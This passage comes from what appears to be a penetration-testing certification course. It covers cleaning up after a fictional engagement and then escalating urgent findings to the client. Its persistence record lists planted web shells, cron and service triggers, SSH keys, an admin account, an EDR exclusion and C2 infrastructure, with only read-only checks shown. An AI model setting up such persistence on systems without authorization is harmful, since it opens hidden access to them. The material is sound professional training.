The PCI Security Standards Council's penetration testing guidance gives the plain reason for removal: leftover accounts and tools must not be there to be used against the organization. This lesson walks that record from 01:10 to a signature, in the order a careful tester works, which is not the order the objective lists. Then the same night runs again with one input changed, a file on the server that is not on your list, and most of the decisions flip.
Exam objectives: 5.4 (remove persistence mechanisms, revert configuration changes, remove tester-created credentials, remove tools, spin down infrastructure, preserve artifacts, secure data destruction).
The persistence record, with two more columns
Write a row in the persistence record the moment you place something, because at 01:10 memory is not evidence. For cleanup the record needs two more columns: the original state, and a read-only check that proves the item is gone. Every name and address here is fictional.
| # | Where | What you placed or changed | Original state | Read-only check |
|---|---|---|---|---|
| 1 | web01, 10.20.4.15 | Web shell cb-test-7f3a.php in /var/www/html/uploads/ | File absent | ls -l of the folder |
| 2 | web01 | Cron entry under www-data, running /tmp/cbt-check.sh | No crontab for www-data | crontab -l for www-data |
| 3 | web01 | SSH public key "cbtest" in deploy's authorized_keys | Two named keys | Count of "cbtest" in that file |
| 4 | web01 | PermitRootLogin changed in sshd_config | no | sshd -T |
| 5 | app02, 10.20.4.22 | Scheduled task CB-Test-Updater | Absent | schtasks /query |
| 6 | app02 | Service CBTestSvc, with tools in C:\CBTest\ | Absent | sc query CBTestSvc |
| 7 | app02 | Local account svc_cbtest in Administrators | Three named members | net user; net localgroup |
| 8 | Endpoint detection and response (EDR) console | Exclusion for C:\CBTest\, added by the client's administrator at your request | No exclusion | Client reads the console |
| 9 | Internet | Your command and control (C2) relay VM at 192.0.2.77 and domain cb-relay.example | Did not exist | Provider's resource list and bill |
| 10 | Client's DNS zone | CNAME updates.corvidbay.example pointing at your VM, added by the client | Did not exist | dig +short |
| 11 | Branch office | Small single-board computer in a comms closet, serial on file | Not there | In your hand, serial matches |
Rows 8 and 10 were made by the client's staff at your request, and PCI's guidance expects you to disclose those too. Four rules govern what follows.
- Preserve first. Removal destroys the proof.
- The record is the authority. Remove what it lists, and nothing else.
- A removal is a claim until a separate read-only check confirms it.
- Whoever made a change reverses it. You chase the client's rows.
Step 1: Preserve artifacts before you change anything
The objective lists preserving artifacts near the end. Do it first, because a deleted web shell cannot be photographed. For each row, capture what the report will need: path, owner, size, timestamps, a file hash and output showing it in place. Export your tool and C2 server logs too.
NIST SP 800-115 asks assessors to keep an activity log with at least:
- the date and time
- assessor's name
- testing system
- target
- tool
- command
- comments
The log is an audit trail that lets the organization tell assessors' actions from those of true adversaries. If Corvid Bay's monitoring raises an alert next week, that log shows whether it was you.
Keep proof, not data. The Penetration Testing Execution Standard (PTES) says passwords stay out of the report or are masked. It also says regulated data should not land on testers' own systems. It says to show proof of access instead, such as file permissions, a record count or file names. You never have to destroy what you never took.
Then make tampering visible. A hash manifest shows whether a file has changed since it was stored, and a chain of custody documents each person who handled the evidence, when it was collected or transferred, and why. Sample text:
$ sha256sum activity-log.csv corvid-evidence.tar.gpg
71d1aa0b8d9aef96e4077fdae214682c3d1e0e568e5913c688035aecee1044f2 activity-log.csv
ca5fca3fc80446fb56b266e15d98608cf34ccbb11cd5edd8e41182b6c00e31df corvid-evidence.tar.gpg
Custody log
Item From To When Purpose
corvid-evidence.tar.gpg tester laptop firm vault Fri 07:22 UTC Storage until report
corvid-evidence.tar.gpg firm vault peer reviewer Mon 14:05 UTC Report review
Retention is a contract term. SP 800-115 says it belongs in the assessment plan or rules of engagement (ROE), and Corvid Bay's ROE from Lesson 4 says evidence is encrypted and destroyed 90 days after the report.
Why this matters: artifacts are what separate your noise from an intruder's, and the only moment to collect them is before the cleanup erases them.
Errant . Original uploader was ErrantX at en.wikipedia - Public domain - Wikimedia Commons
Step 2: Agree the order with the client
Removing something from a production host is itself a change, so it goes through the contact the ROE names, here the security manager. Tell the security operations center (SOC) what is happening and when, because your removals raise alerts of their own. Then order the rows so that each step leaves you able to do the next:
- Triggers, anything that runs on a schedule or at boot: rows 2, 5 and 6.
- What the triggers ran, and your tools: row 1 and the files behind rows 2 and 6.
- Configuration: row 4, with the client's row 8.
- Credentials, last on each host because they are how you get in: rows 3 and 7.
- Your infrastructure: row 10 before row 9, then row 11.
Step 3: Remove persistence mechanisms, triggers first
A trigger can rebuild what you delete. A cron entry or service that reinstalls a file will bring it back after your check has passed. So take out the trigger first, then what it ran, and repeat the check after the trigger's next scheduled time has gone by. Each persistence mechanism has its own check and leaves its own trace for the client.
| Mechanism | What it leaves open | Read-only check after removal | What defenders see |
|---|---|---|---|
| Scheduled task | Your code runs on its trigger with the task's rights | schtasks /query /tn "NAME" returns an error | Windows events 4698 (created), 4699 (deleted) |
| Cron entry | The same, on Linux | sudo crontab -l -u USER; ls /etc/cron.d | Cron's lines in the system log; file integrity alerts |
| Service | Starts at boot, often with high privileges | sc query NAME; systemctl status NAME | Windows event 4697 (installed) |
| Registry Run key | Runs at logon | reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run | Windows event 4657, only if the key's auditing is set |
| Web shell | Anyone who finds the URL inherits your access | File gone from the folder; a request returns 404 | File integrity alerts; web server logs |
| Reverse or bind shell, C2 agent | An outbound beacon or a listening port | ss -tlnp; process list; empty agent list on your server | Egress logs stop showing callbacks |
| Browser extension | Runs in a user's browser profile | Extension list of every profile you touched | Endpoint inventory |
| Rootkit | Hides itself from the host's own tools | Only from outside the running system | Offline scans, if anyone looks |
| Tampered security control | A blind spot in the client's detection | The control's console shows the original setting; usually the client's to restore | Agent health alerts |
The event numbers let the client check your work independently, where that auditing is on. The rootkit row deserves a second look. A rootkit exists to hide programs, files and connections from the operating system's own reporting, so asking that system whether it is gone is asking the liar. Check from trusted boot media or examine the disk offline. If you cannot, the honest entry reads "not verified" and the client decides whether to rebuild. PTES requires prior written consent before you use any method whose removal may cause downtime.

בר - CC BY-SA 4.0 - Wikimedia Commons
Step 4: Revert configuration changes
PTES asks that settings go back to their original positions and that the client receives the list of changes so it can confirm them, with anything that could not be put back shown separately. Three habits keep a revert from doing harm of its own.
- Read before you write. If the value is what you set, restore the original. If it is a third value, someone else has changed it since, and a blind restore would undo their work. Stop and ask.
- Reload what reads it. sshd rereads its configuration when it receives a hangup signal, so until then the running daemon keeps the old setting whatever the file says. And
sshd -Ttests the file, not the running service, so reload before you trust it. - Hand back what the client changed. Row 8's exclusion is a gap in the client's detection, and only its administrator can close it. PCI's guidance expects the report to give directions for this, including restoring active protection settings and how to verify that controls are back.
$ sudo grep -i '^PermitRootLogin' /etc/ssh/sshd_config
PermitRootLogin yes <- what you set, so the revert is yours
[original value restored; service reloaded]
$ sudo sshd -T | grep -i permitrootlogin
permitrootlogin no
Step 5: Remove tools, and count the hardware back in
PTES's cleanup list starts here: every executable, script and temporary file. Your record gives each file's path and hash, so you can hunt stray copies by hash rather than by name. PCI's guidance adds database entries you added or changed. Anything no command can remove gets counted back in: row 11, USB devices from a physical test (Lesson 13), cloned badges.
Deleting a file from a client's disk does not erase it; the residue is called data remanence. PTES asks for secure deletion where possible, but GNU's manual for shred warns that it relies on data being overwritten in place, which file systems that journal data, RAID, snapshots and compression may not do. So keep sensitive output on your own encrypted storage, and if any reached the client's disk, tell the client what and where.
One thing never goes on your list: logs. PTES says none should be removed, cleared or modified unless the contract or statement of work specifically authorizes it, and then only after backup. Clearing logs is what an intruder does (Lesson 16), and it would destroy the client's chance to measure detection along with any trace of a real attacker. Cleanup is not covering your tracks.

Laserlicht - CC BY-SA 4.0 - Wikimedia Commons

Unknown author - Public domain - Wikimedia Commons
Step 6: Remove tester-created credentials, and report the captured ones
Credentials come last on each host because they are how you reach it, so the final check must come from another account or from the client. Delete rather than disable, since a disabled account can be switched back on. Give each kind of credential its own row: resetting a password does nothing to an SSH key, a cloud access key or an API token. PTES tells testers to remove the accounts they created, while PCI's guidance says the organization should remove them once you disclose them, so the ROE decides who presses the button. Either way, the row closes on a check.
The client can confirm it in its Windows logs: event 4720 when the account was created, 4732 when it joined a local group, 4733 when it left, and 4726 when it was deleted.
Now the distinction the objective's wording hides. You can delete what you created. You cannot delete what you captured. A password you cracked or a token you copied stays valid in the client's directory until the client rotates it. So keep a second list, by account name and never by value, and hand it over for reset. Your own copies are dealt with in Step 9.
Step 7: Spin down infrastructure, in the right order
Your side of the engagement also has to end: C2 servers, relays, domains, tunnels, VPN accounts, cloud storage. Two mechanisms set the order.
First, your server is a sensor. Once the agents are gone it should go quiet, so keep it up for at least one full check-in interval after the last removal and read its log. A check-in from a host on no row means you missed something or that it is not yours, and shutting down would blind you to it.
Second, whatever you let go, someone else can pick up. Microsoft calls a DNS record that points to a deprovisioned resource dangling: whoever later claims that resource's name can serve content from the client's subdomain. So row 10's CNAME goes before row 9's VM. Domains behave the same way. In January 2025, researchers at watchTowr reported registering more than 40 abandoned domains that old web shells still called out to, and seeing over 4,000 live backdoors check in. Keep your domains registered well past the end of the test.
Finish by reading the provider's resource list and bill: nothing running, nothing stored, no disk images, snapshots, buckets or log archives. Those hold client data, so they move to the destruction list in Step 9.
Step 8: The final sweep, read as a performance-based question
It is 04:20 and every row has been worked. Run the checks again from a different account, then give each row a status: closed, reopen, or open with an owner. Try it before you read the table. This is sample output, the kind to expect from these tools.
web01, 04:20
$ ls -l /var/www/html/uploads/
-rw-r--r-- 1 www-data www-data 18233 Feb 18 09:14 branch-map.png
$ sudo crontab -l -u www-data
no crontab for www-data
$ sudo grep -c cbtest /home/deploy/.ssh/authorized_keys
0
$ sudo sshd -T | grep -i permitrootlogin
permitrootlogin yes
app02, 04:26
> schtasks /query /tn "CB-Test-Updater"
ERROR: The system cannot find the file specified.
> sc query CBTestSvc
[SC] EnumQueryServicesStatus:OpenService FAILED 1060:
The specified service does not exist as an installed service.
> net user svc_cbtest
The user name could not be found.
> net localgroup administrators
Members
-----------------------------
Administrator
cb-it-admins
svc_backup
Everything else, 04:35
Security manager: exclusion still listed; EDR administrator on shift at 07:00
$ dig +short updates.corvidbay.example
[no answer]
C2 server: 0 agents; last check-in 01:52 from 10.20.4.22
Network box: in hand since Tuesday, serial matches row 11
| Rows | Evidence | Status | Reasoning |
|---|---|---|---|
| 1, 2, 3 | Only branch-map.png; no crontab; count of 0 | Closed | Each matches the original state on the record |
| 4 | permitrootlogin yes | Reopen | Yes is what you set, so the revert never took. It is yours: restore, reload, recheck |
| 5, 6, 7 | Two errors, one "could not be found", three group members | Closed | Here an error is the passing result. Compare the group with the three names on the record rather than judging by eye |
| 8 | The client says it is still listed | Open, owner: client's EDR administrator | You cannot close it, and the freeze starts first, so it goes on the signed record as open |
| 9, 10, 11 | No DNS answer; quiet C2 log; box in hand | Close 10 and 11; shut down 9, keep the domain | The log has been quiet since 01:52, well past one check-in interval, so the server may now go |
Row 4 closes at 04:31 after the recheck. Then comes the signature. PTES wants changes that could not be reversed clearly separated from those that were, and the record does that.
CLEANUP AND RESTORATION RECORD (fictional)
Engagement: Corvid Bay Credit Union, internal test, 1-26 March
Closed and verified: rows 1-7, 9-11. Checks run from a second account; output in evidence file.
Reopened and closed: row 4, restored to "no", service reloaded, rechecked 04:31.
Open: row 8, EDR exclusion. Owner: client EDR administrator. Due 07:00.
Captured credentials: 3 accounts listed in Annex B for client reset. Values not included.
Not touched: client logs. No entries removed or changed.
Evidence retained: corvid-evidence.tar.gpg, encrypted. Destroy by report date + 90 days.
Tester: ______________ (name, date) Client concurrence: ______________ (security manager, date)
A second run: the file that is not yours
Same night, same sweep, one different line in the first listing. The test began on 1 March.
$ ls -l /var/www/html/uploads/
-rw-r--r-- 1 www-data www-data 18233 Feb 18 09:14 branch-map.png
-rw-r--r-- 1 www-data www-data 1204 Jan 22 03:17 img_2.php
img_2.php is not on your record, and it is dated five weeks before the engagement started. It could be a forgotten tool, an earlier tester's leftover or an intruder's web shell. You cannot tell from here, and finding out is not your job. The tidy instinct, clean the folder, would delete the only evidence of a possible breach.
| Decision | First run | This run |
|---|---|---|
| The uploads folder | Confirm your file is gone | Touch nothing. Do not delete it, open it or request it. Note the path, size, owner and time |
| Work on web01 | Finish the rows | Stop. SP 800-115 recommends that assessors stop assessing the systems involved while the organization responds |
| Telling the client | Morning status message | Call the first name on the escalation list now. Signs of a real intrusion are one of the stop conditions set in Lesson 4, and Lesson 27 works through that call |
| Your logs | Stored for the report | PTES: saved, hashed and provided to the client, who decides how to respond |
| Your rows on web01 | Remove them | Ask first. Removing them now changes a host that may be under investigation |
| Spin-down and destruction | On schedule | Hold until the client releases them in writing. Its lawyers may impose a legal hold, and NIST tells owners to consult legal and records officials before sanitizing anything |
Why this matters: the record also tells you what is not yours. Breach laws may start a clock (Lesson 3), and a tester who cleans up an unknown file may destroy what the client's responders and lawyers need.
Try this in your lab: what a snapshot restore proves
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Every command here stays on the VMs you built in Lesson 2. Allow about ten minutes, and write down a prediction at step 3.
- On Kali, make a file that lives outside the target:
sudo nmap -sV -p 21,22 192.168.56.102 -oA before-restore - At Metasploitable's console, make a harmless change:
touch cleanup-marker.txt, thenls -l cleanup-marker.txt - Predict which of those files will survive a restore of Metasploitable.
- Power Metasploitable off. In VirtualBox Manager, open its snapshots and restore the one you took in Lesson 2. VirtualBox may offer to save the current state first; nothing on it matters here.
- Start it, log in and run
ls -l cleanup-marker.txt. Expect something like "No such file or directory". - On Kali, run
ls before-restore.*. Expect all three files, untouched. - Rerun the isolation tests from Lesson 2, starting with
route -nandping -c 3 192.0.2.1on Metasploitable. You need "Network is unreachable" at once.
VirtualBox's guide explains the result. A snapshot holds the VM's settings, the state of its virtual disks and, if it was running, its memory, and restoring undoes all of them together: files created since disappear, and files deleted since return. A disk in write-through mode is the exception, because it is not part of the snapshot.
| Question | Does the restore answer it? | Why |
|---|---|---|
| Is the marker gone from that VM's disk? | Yes | Everything since the snapshot went with it |
| Was your record complete? | No | It removed listed and unlisted items alike, so it cannot show what you failed to write down |
| Did anything leave the VM? | No | Your Kali files never moved. Neither would your notes, captured data, or accounts held in a directory or cloud elsewhere |
| Is the VM now clean? | Only as clean as the moment you saved | A snapshot taken mid-test brings your persistence back with it |
| Is the evidence safe? | The opposite | The current state is lost unless you save it first, including any intruder's traces |
| Is the network as it was yesterday? | Check | Settings come back too |
That last row is the changed input to try in your head. Restore Kali's "clean" snapshot from Lesson 2 instead of "isolated". That snapshot was saved with the NAT adapter attached, so ip route now shows a default route and the isolation test fails: undoing your changes has made the lab less safe. Set adapter 1 back to "Not attached", or restore "isolated", and test again.
On a real client's server, a restore also loses every change since the snapshot, which on production means real transactions. It can be the client's choice for a test VM, but it never replaces the record, because it cannot reach a domain account, a DNS record, a cloud key or your laptop.
Step 9: Destroy what you hold, under NIST SP 800-88 Rev. 2
Ninety days after the report, the evidence you preserved must go, unless a hold says otherwise. PTES ties destruction to the client's acceptance of the final report and says the method and proof of destruction go to the client, so read your own ROE for the trigger.
The current standard is NIST SP 800-88 Revision 2, published in September 2025, superseding Revision 1 of December 2014, with a FAQ added on 16 July 2026. SP 800-115 (2008) still describes a fourth category called disposal, and Revision 1 gave media-by-media tables. Revision 2 has three methods, calls electronic media information storage media (ISM), and sends you to IEEE 2883 for techniques. The decision starts from how confidential the data is and whether the media will be reused; the media type then narrows the technique.
| Method | Recovery it defeats | How | Afterward | Applies to |
|---|---|---|---|---|
| Clear | Simple recovery through the normal interface | Logical: overwrite all user-addressable locations, typically one pass, or a factory reset if rewriting is not supported | Usable | Some ISM; never hard copy |
| Purge | State-of-the-art laboratory recovery | Logical: dedicated sanitize commands (overwrite, block erase, cryptographic erase). Physical: degaussing, magnetic media only | Potentially reusable | Some ISM; never hard copy. NIST prefers it to clear where possible |
| Destroy | State-of-the-art laboratory recovery | Physical: disintegrate, incinerate, melt, pulverize, shred | Cannot store data again | All hard copy and most ISM; not logical storage |

IT Liquidators - CC BY-SA 3.0 - Wikimedia Commons
Five traps in media sanitization
- Many passes. Revision 2 says multi-pass overwriting is unnecessary. DoD, the source of the old pass counts, removed its overwriting specifications in 2006.
- Overwriting flash. An SSD has spare cells and moves data for wear leveling. NIST's example is 1,024 GB of physical storage behind 900 GB you can address, so your writes never reach every old copy. Use a dedicated sanitize command or cryptographic erase.
- Magnets. Degaussing is purge only for magnetic media, and only if its strength matches the media. It is not destroy, even when the drive stops working, and on an SSD it can finish successfully while sanitizing nothing.
- Damage. Bending, cutting or drilling may leave parts readable in a laboratory. NIST also says to avoid shredding and pulverizing storage media for anything but the lowest data categories, and its FAQ points to listed high-powered degaussers for magnetic media and to incineration or melting for the rest.
- Key erasure without its conditions. Cryptographic erase (CE) sanitizes the keys instead of the data, so it is fast, and for cloud storage it may be the only purge option. It needs security strength of at least 128 bits, no sensitive data stored in plaintext on that media beforehand, and every copy of the key sanitized, so backups and escrowed keys count against it. For secrets that must stay protected for decades, NIST says it may not be acceptable, because the ciphertext remains.
A tester's habit follows. PTES wants gathered data encrypted on testers' systems. Give each engagement its own encrypted volume from the first hour, and CE becomes possible on a laptop that stays in service. The FAQ allows that selective erase only with absolute confidence that the data never escaped the encrypted boundary, and it still prefers sanitizing the whole device. An autosaving notes app or a screenshot written to the Desktop breaks that boundary.

Killarnee - CC BY-SA 4.0 - Wikimedia Commons

Jaroslaw B - CC BY-SA 4.0 - Wikimedia Commons
Worked decisions: six places, three methods
Inventory first, because client data spreads: the Kali VM and every snapshot of it (a snapshot keeps files you have since deleted), web proxy project files, the password-cracking rig, chat channels, paper, removable drives and backups. Then decide each place from the fact that matters.
| Where the data sits | The fact that decides | Method and technique |
|---|---|---|
| Engagement volume on your laptop's SSD; the laptop stays in service | Encrypted from the first hour, unique key, key never backed up | Purge: CE of that volume |
| The same laptop, one input changed: screenshots sat on the unencrypted Desktop for an hour | Plaintext escaped the boundary, and deleting or overwriting a file does not reach old copies on flash | Purge the whole SSD with its dedicated sanitize command, then rebuild |
| USB stick used to carry evidence | Will not be reused; NIST says destruction can then be the simplest choice | Destroy |
| Paper notes and a printed draft | Hard copy | Destroy, for example with a cross-cut shredder; clear and purge do not apply |
| Cloud bucket of C2 logs and evidence | Logical storage, so you cannot reach the hardware | Purge: CE through the key you control, after deleting versions and backups and checking the provider's agreement; destroy is not available |
| Retired hard disk from the cracking rig, going to a recycler | Magnetic, holds captured hashes, and is leaving your control | Purge with a dedicated command or matched degausser, or destroy by incineration or melting; track it to its destination |
Two more steps follow. Verification inspects the outcome: did the tool finish without errors, what do the remnants look like? NIST does not require sampling the contents after clear or purge unless policy does. Validation is the decision: given that outcome and the data's sensitivity, do you accept the remaining risk, or repeat with a stronger method? A certificate of sanitization records both, with a concurrence signature on NIST's sample form.
CERTIFICATE OF SANITIZATION (fictional)
Media: USB flash drive, make, model, serial 7731-0042; source: evidence courier
Method: Destroy Technique: incinerate Tool and version: vendor furnace, log 5512
Verification: remnants inspected; vendor log attached
Validation: approved by engagement lead
Signed: name, title, date, location, phone Concurrence: name, title, date
Skipping that chain has a price. On 20 September 2022 the US Securities and Exchange Commission announced that Morgan Stanley Smith Barney would pay $35 million over failures involving the personal information of about 15 million customers.
According to the SEC, the firm hired a moving company with no data destruction experience to decommission thousands of drives and servers and did not adequately monitor it. The mover sold devices on, and some reached an internet auction site with customer data still on them. The firm neither admitted nor denied the findings.
NIST's general point: if tracking breaks anywhere between intake and final destination, your records show only that some media were sanitized, not that all were.

wdwd - CC BY-SA 3.0 - Wikimedia Commons
How cleanup is reported
Cleanup appears in the report in three places:
- the detailed list of actions and their times, in an appendix, as PTES asks
- the list of changes, with the unreversed ones separated
- in PCI's report outline, directions for any task still to be done and how to verify that controls are back
Anything left open is a finding in its own right:
- Title: EDR exclusion requested for testing remained active on app02 after the test ended.
- Severity: Medium until closed. It removes detection from one folder on a server that handles member data. It is not High because an attacker would already need access to app02, and the folder is empty.
- Evidence: the security manager's message at 04:35, and a console screenshot supplied by the client; row 8 of the record.
- Root cause: only a day-shift administrator can change the console, and the cleanup plan set no time for this row before the freeze.
- Remediation: the client's EDR administrator removes the exclusion and confirms from the console that the list matches its pre-test state; the tester records the closure. In future, schedule client-owned rows before the last testing night.
Later closures and certificates go to the client as an addendum, so the file ends with no open rows.
Common misconceptions
- "Cleanup means wiping my traces from the logs." Logs stay unless the contract specifically says otherwise. Your activity log is what explains them.
- "Restoring a snapshot is cleanup." It resets one VM. It cannot show your record was complete or reach anything outside that VM.
- "Delete everything on the last day." Artifacts come first and are kept for the agreed retention period, because the report, a retest or a dispute may need them.
- "A seven-pass wipe is the gold standard." Multi-pass overwriting is obsolete, and on flash it misses cells that the interface cannot address.
- "I reset the password, so my access is gone." Keys and tokens are separate credentials, and each needs its own row.
The takeaway
- Preserve artifacts first, and keep an activity log: it is what lets a client tell your actions from an adversary's.
- The working order is triggers, then what they ran and your tools, then configuration, then credentials, then infrastructure, with a DNS record removed before the host it points to.
- Read before you revert: your value means restore the original; a third value means someone else changed it, so ask.
- Delete credentials you created, report captured ones for the client to rotate, and leave logs alone unless specifically authorized in writing.
- Something on a host that is not on your record means stop, leave it, escalate, save and hash your logs, and hold destruction.
- A snapshot restore resets that VM's disk and settings. It proves nothing about your record, other systems or your own copies, and the isolation tests must be rerun afterward.
- NIST SP 800-88 Rev. 2 (September 2025) has three methods: clear defeats simple recovery, purge and destroy defeat laboratory recovery; hard copy can only be destroyed, and logical storage cannot be.
- Multi-pass overwriting is unnecessary, overwriting does not reach an SSD's spare cells, degaussing is not destruction, and cryptographic erase needs strong encryption, no earlier plaintext and every key copy gone.
- Verification inspects the outcome, validation decides whether to accept it, and a signed record keeps closed rows apart from open ones.
Sources
- Chandramouli, R., and Hibbard, E. A. (2025). Guidelines for media sanitization (NIST Special Publication 800-88 Rev. 2), sections 1.1, 2.3, 3.1-3.2, 4.3-4.6, Appendices C and D. National Institute of Standards and Technology. csrc.nist.gov; National Institute of Standards and Technology. (2026, July 16). Frequently asked questions for NIST SP 800-88r2, Q5-Q10 and Q13. csrc.nist.gov (PDF)
- Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), sections 6.5, 7.2 and 7.4. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF); National Institute of Standards and Technology. (n.d.). Chain of custody. In CSRC glossary. csrc.nist.gov
- The PTES Team. (2016). Post exploitation: Rules of engagement; Cleanup. In The penetration testing execution standard. pentest-standard.readthedocs.io
- PCI Security Standards Council. (2017). Information supplement: Penetration testing guidance, sections 4.3.3 and 5.2.1. pcisecuritystandards.org (PDF)
- Oracle. (n.d.). Snapshots. In Oracle VirtualBox user guide for release 7.2. oracle.com
- Free Software Foundation. (n.d.). shred: Remove files more securely. In GNU Coreutils manual. gnu.org
- OpenBSD. (n.d.). sshd(8) manual page. man.openbsd.org
- Microsoft. (n.d.). Audit events 4657, 4697, 4698, 4699, 4720, 4726, 4732 and 4733. In Windows security auditing. learn.microsoft.com (event 4698; the others follow the same address pattern); Microsoft. (2026). Prevent dangling DNS entries and avoid subdomain takeover. learn.microsoft.com
- Harris, B., and Hammond, A. (2025, January 8). Backdooring your backdoors - Another $20 domain, more governments. watchTowr Labs. labs.watchtowr.com
- U.S. Securities and Exchange Commission. (2022, September 20). SEC charges Morgan Stanley Smith Barney with failing to protect customer information (Press release 2022-168). sec.gov
- Key terms
- Persistence record
- A tester's running list of every mechanism placed or setting changed on a client's systems, with its location, time and original state, used to reverse and verify each one when testing ends.
- Chain of custody
- A documented trail showing each person who handled a piece of evidence, when it was collected or transferred, and why.
- Data remanence
- Residual data that stays on storage media after an attempt to delete or erase it.
- Clear sanitization method
- Under NIST SP 800-88 Rev. 2, logical techniques such as overwriting all user-addressable storage, which protect against simple recovery through the normal interface and leave the media usable.
- Purge sanitization method
- Under NIST SP 800-88 Rev. 2, physical or logical techniques that make recovery infeasible even with state-of-the-art laboratory methods while leaving the media potentially reusable.
- Destroy sanitization method
- Under NIST SP 800-88 Rev. 2, physical techniques such as incineration or melting that make recovery infeasible and the media unable to store data again.
- Cryptographic erase (CE)
- A purge technique that sanitizes the keys protecting encrypted data rather than the data itself; it requires strong encryption, no earlier plaintext on the media, and every copy of the key gone.
- Certificate of sanitization
- A signed record of what media was sanitized, by what method, technique and tool, how it was verified and validated, and by whom.
- Legal hold
- An instruction, usually from lawyers, to preserve relevant records because litigation or an investigation is expected, which suspends routine destruction schedules.
- Dangling DNS record
- A DNS record that still points to a deprovisioned resource, which lets whoever later claims that resource serve content from the record's name.
Module 9: Reporting and Communication (Domain 1, objectives 1.2, 1.4 and 1.5)
Practice the work clients actually pay for: communicating during a test, escalating what cannot wait, building a report from executive summary to detailed findings with defensible risk scores, and recommending technical, administrative, operational and physical fixes that fit the root cause.
Telling the Client While You Test: Communication, Escalation, and Risk
- Decide when a finding, an intruder or a harmed service must go up the escalation path at once, and deliver the message so the client can act on it.
- Articulate severity, impact and risk separately, and use a client's business impact analysis to set priorities.
- Explain peer review, stakeholder alignment, goal reprioritization and root cause analysis, and recognize each in a scenario.
- Protect results through secure distribution, and tell client acceptance from risk acceptance when a client asks to change or drop a finding.
2:07 a.m. and thirty-one files that should not be public
It is 2:07 a.m. on Thursday 17 September 2026, night three of a ten-night test for Kestrel Point Cold Storage, which runs three refrigerated warehouses. The company and its people are fictional. You have just typed this into your log:
Engagement KP-2026-11, tester's log (local time)
02:07 From our test address 192.0.2.40, no login: portal.example.com/exports/ answers 200
with a listing of 31 files, customers-YYYY-MM-DD.csv, about 40 MB each
02:09 Opened the first 5 rows of the newest file, the limit ROE section 6 allows, then closed it
Columns: customer, contact name, email, direct debit bank account [values not copied]
02:12 We cannot see the server's access logs. Whether anyone else fetched these files: unknown
The next status meeting is at 9:00. What do you do in the next ten minutes? Finish tonight's plan and raise it at 9:00? Download a whole file to prove how bad it is? Email everyone on the contact list? Phone someone, and if so, whom, and what do you say? Decide before you read on.
That decision and two harder ones (an intruder who got there before you, and a client who wants a finding gone) drive everything below. Objective 1.2 begins "Explain", so the exam wants you to know what each activity is for and to recognize it in a short scenario.
Exam objectives: 1.2 (peer review; stakeholder alignment; root cause analysis; escalation path; secure distribution; articulation of risk, severity and impact; goal reprioritization; business impact analysis; client acceptance).
Peer review at 2:11: is it real, and is it ours?
Spend minutes, not hours, on proof. Waking a manager over a demo database costs credibility, so you ask for peer review: another qualified tester checks the finding while the test is running. You are a poor judge of your own assumptions, so Sam, your night-shift partner, gets the address and your notes but not your conclusion.
| Sam checks | If it had failed |
|---|---|
| Scope: is 203.0.113.140 inside the signed 203.0.113.128/26? Yes | Stop. Touching an out-of-scope host is its own escalation |
| Repeatable: same answer from our second address, 192.0.2.41? Yes | Perhaps a cached page, so recheck before calling |
| Real data: do the names match the client's customer list? Yes | Demo data changes the answer |
Sam logs 02:16 Reproduced independently by S.; scope confirmed, and that line is what peer review leaves behind. The habit also catches inflated ratings and the false positives of Lesson 12. Do not confuse it with quality control, the line-by-line gate on the finished report in Lesson 28. Peer review is about one finding, during the test. And it buys confidence, never permission to wait: Kestrel Point's rules of engagement (ROE) allow 30 minutes from discovery to first call, so working alone you would call anyway and say "not yet peer reviewed".
The escalation path: who picks up, in what order
Lesson 3 said that two in the morning is not the time to work out who gets told. An escalation path settles it in daylight: who to tell, how to reach them, how long to wait and what each person can decide. You drafted one in Lesson 4. Kestrel Point's reads:
| Order | Contact | Reach by | Wait | Can decide |
|---|---|---|---|---|
| 1 | D. Ruiz, on-call duty manager | Mobile, then the operations desk (staffed 24/7) | 15 minutes | Take a service or path offline |
| 2 | L. Okafor, security manager | Mobile, then home | 15 minutes | Pause and resume the test; leads any incident |
| 3 | M. Voss, CIO and executive sponsor | Mobile, then home | Keep trying | Sign changes; accept risk |
The Penetration Testing Execution Standard (PTES) asks for each contact's name, title, authorization to discuss the test and two ways to reach them around the clock. A desk can replace one contact only if it is staffed 24/7. NIST SP 800-115 says people such as the CIO or CISO should hear of critical high-impact vulnerabilities as soon as they are discovered.
At 02:21 you reach Ruiz, who was asleep. Six things, in a fixed order, fit into her first thirty seconds:
Who: [Name], test team, engagement KP-2026-11, calling under section 6 of the ROE.
What: Customer export files on the portal can be read from the internet with no login.
Proof: Two of us reproduced it. We read five rows and copied none. They hold bank details.
Unknown: Whether anyone else has taken them. You have the logs; we do not.
Ask: I recommend blocking that path now. That is your decision. Can you make it?
Next: Evidence reaches you through the secure portal within 20 minutes, passphrase by phone.
We stay off that host until you tell us otherwise.
- You recommend; the client decides. Even if one command would fix it, you have no authority to change production, and your change would alter the evidence.
- Details stay off voicemail. Leave your name, the engagement and "urgent, please call back".
- No answer means the next name, not a wider audience. Log each attempt, move down the path when the wait runs out, and tell your own engagement manager.
- Telling the outside world is not your job. Exposed bank details may start legal clocks (Lesson 3), and the client, advised by its lawyers, normally does that reporting.
In short: the ROE sets the trigger, the order, the wait and the authority, so at 2 a.m. you follow a decision already made instead of inventing one.

Mike Reyher - CC BY 2.0 - Wikimedia Commons

Florian Fuchs - CC BY 3.0 - Wikimedia Commons
The same thirty-one files at four different speeds
Your finding scores 8.7 on the Common Vulnerability Scoring System (CVSS) v4.0 base scale: network, no login, high confidentiality impact. The scale calls that High, not Critical, and you still woke someone, because in this ROE a "critical finding" is a named trigger, exposed customer data, rather than a number. Change one fact and the right speed changes.
| The one changed fact | What you do now | Why |
|---|---|---|
| The listing answers only after a staff VPN login (score falls to 7.1) | Same-day written note; no wake-up call | Still serious, but the trigger says reachable from the internet |
| The rows are the portal's demo tenant, with invented names | Raise it at 9:00 as a Low | Nothing real is exposed |
| The address is 203.0.113.200, outside the signed range | Stop reading and call now | You may have no authorization for that host |
| Ruiz's logs show an unknown address fetched all 31 files last week | Incident rules, as on night six below | This may already be a breach |
Most ROEs sort news this way:
- call now for named triggers (typically exposed personal or safety data, a service you harmed, signs of an intruder, illegal content, a touch outside scope)
- a same-day note for serious findings with a barrier in front of them
